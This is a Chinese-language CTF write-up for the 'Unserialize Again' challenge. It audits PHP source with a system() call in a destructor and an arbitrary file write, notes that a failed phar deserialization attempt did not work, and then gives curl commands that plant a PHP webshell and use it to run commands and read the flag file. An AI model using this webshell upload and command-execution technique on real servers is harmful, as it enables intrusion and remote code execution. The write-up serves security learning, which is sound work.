Unserialize Again

Unserialize Again

WriteUp: Unserialize Again

题目信息

  • 题目名称:Unserialize Again
  • 难度:中等
  • 提示:Pair pears?
  • 目标:获取Flag

第一步:信息收集

访问首页,发现Cookie中提示pairing.php,访问该页面获得源码。

curl -g "http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/" # 响应头中有 Set-Cookie: looklook=pairing.php curl -g "http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/pairing.php"

第二步:源码审计

pairing.php中存在一个story类,关键魔术方法如下:

class story{ private $user='admin'; public $pass; public $eating; public $God='false'; public function __wakeup(){ $this->user='human'; if(1==1){ die(); } // 后面有 if(1!=1){ echo $fffflag; } } public function __destruct(){ if($this->God=='true' && $this->user=='admin'){ system($this->eating); } else { die('Get Out!'); } } } if(isset($_GET['pear'])&&isset($_GET['apple'])){ $pear=$_GET['pear']; $Adam=$_GET['apple']; $file=file_get_contents('php://input'); file_put_contents($pear,urldecode($file)); file_exists($Adam); }
  • file_put_contents($pear, urldecode($file))可以将POST body写入任意文件($pear可控)。
  • file_exists($Adam)如果$Adamphar://协议,则会触发 phar 反序列化。
  • 反序列化目标:使__destruct满足God=='true'user=='admin',从而执行system($this->eating)
  • __wakeup会将user改为humandie(),需要绕过。

第三步:尝试 phar 反序列化(未成功)

生成了绕过__wakeup的 phar 文件(修改属性数为5或3),但由于服务端对 phar 的兼容性问题或urldecode对二进制数据的破坏,始终无法触发 RCE,输出均为Get Out!

第四步:另辟蹊径 – 直接上传 webshell

注意到file_put_contents可以写入任意文件,且目录可写。直接上传一个简单的 PHP webshell:

curl -g -X POST "http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/pairing.php?pear=shell.php&apple=x" \ --data '<?php system($_GET["c"]);?>'

验证上传成功并执行命令:

curl -g "http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?c=id" # uid=33(www-data) gid=33(www-data) groups=33(www-data)

第五步:寻找 Flag

列出根目录发现特殊文件/flllag(注意不是/flag):

curl -g "http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?c=ls%20-la%20/" # 发现 -rw-r--r-- 1 root root 43 Jul 10 00:49 flllag curl -g "http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?c=cat%20/flllag" # CTF2{453ce34b-2cdb-4153-ad8f-37621eeb2d80}

最终 Flag

CTF2{453ce34b-2cdb-4153-ad8f-37621eeb2d80}

总结

本题虽然名为反序列化,但实际更简单的解法是利用file_put_contents直接写 webshell 获得 RCE。Phar 反序列化因环境限制未能成功,但 webshell 方案同样有效。关键点是发现/flllag而非常见的/flag文件名。